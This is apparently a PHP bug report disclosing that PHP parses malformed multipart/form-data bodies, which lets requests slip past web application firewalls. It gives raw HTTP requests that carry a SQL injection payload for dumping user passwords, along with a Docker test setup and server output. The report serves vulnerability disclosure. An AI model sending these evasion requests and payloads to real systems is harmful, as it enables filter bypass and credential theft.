Description:
------------
PHP passed Incomplete Multipart/form-data that conflicts with the requirements set by the RFC. It can cause WAF evasion.

As an example

```
POST / HTTP/1.1
User-Agent: Chrome/104.0.5112.102
Accept: */*
Host: 127.0.0.1:5980
Content-Length: 105
Content-Type:multipart/form-data;boundary=boundary

--boundary
Content-Disposition:name="id
1' union select 1,group_concat(user,0x3a,password) from users #
```

First according to RFC1867 there need a form-data token in Content-Disposition header 

Then A CRLF token to terminated sub-headers is excpet after Content-Disposition sub-header according to RFC1867

And The closing boundary which required by RFC1521 is also missing.

Not to mention that the name paramter have an unclosed quotation mark.

According to RFCs. A HTTP Request with multipart/form-data should like this

```
POST / HTTP/1.1
User-Agent: Chrome/104.0.5112.102
Cookie: PHPSESSID=r7kcra0ri3qln9hg7341loh3v7; security=low;
Accept: */*
Host: 127.0.0.1:5980
Content-Length: 130
Content-Type:multipart/form-data;boundary=boundary

--boundary
Content-Disposition:form-data;name="id"

1' union select 1,group_concat(user,0x3a,password) from users #
--boundary
```

However both of them can be passed by php server. As for SECURITY CONSIDERATIONS. It might be used by attack to bypass WAFs.(we had report this to related WAF vendors)





Test script:
---------------
We deploy the server behind nginx in php-fpm mode using docker-compose

```
version: '3'
services:
    web:
        image: nginx:latest
        ports:
            - "5980:80"
        volumes:
            - ./app:/home/wwwroot/
            - ./config/nginx/site.conf:/etc/nginx/conf.d/default.conf
        networks:
            - code-network
    php:
        image: php:7.4-fpm
        volumes:
            - ./app:/home/wwwroot/
        networks:
            - code-network
networks:
    code-network:
        driver: bridge
```

We've test php version from 5.6-fpm to the latest 8.2-fpm

And here is the server side script we used to detect $_POST values

```
<?php

var_dump("POST:",$_POST);
```



Expected result:
----------------
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Fri, 10 Mar 2023 14:37:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.33
Content-Length: 31

string(5) "POST:"
array(0) {
}


Actual result:
--------------
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Fri, 10 Mar 2023 14:32:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.33
Content-Length: 121

string(5) "POST:"
array(1) {
  ["id"]=>
  string(63) "1' union select 1,group_concat(user,0x3a,password) from users #"
}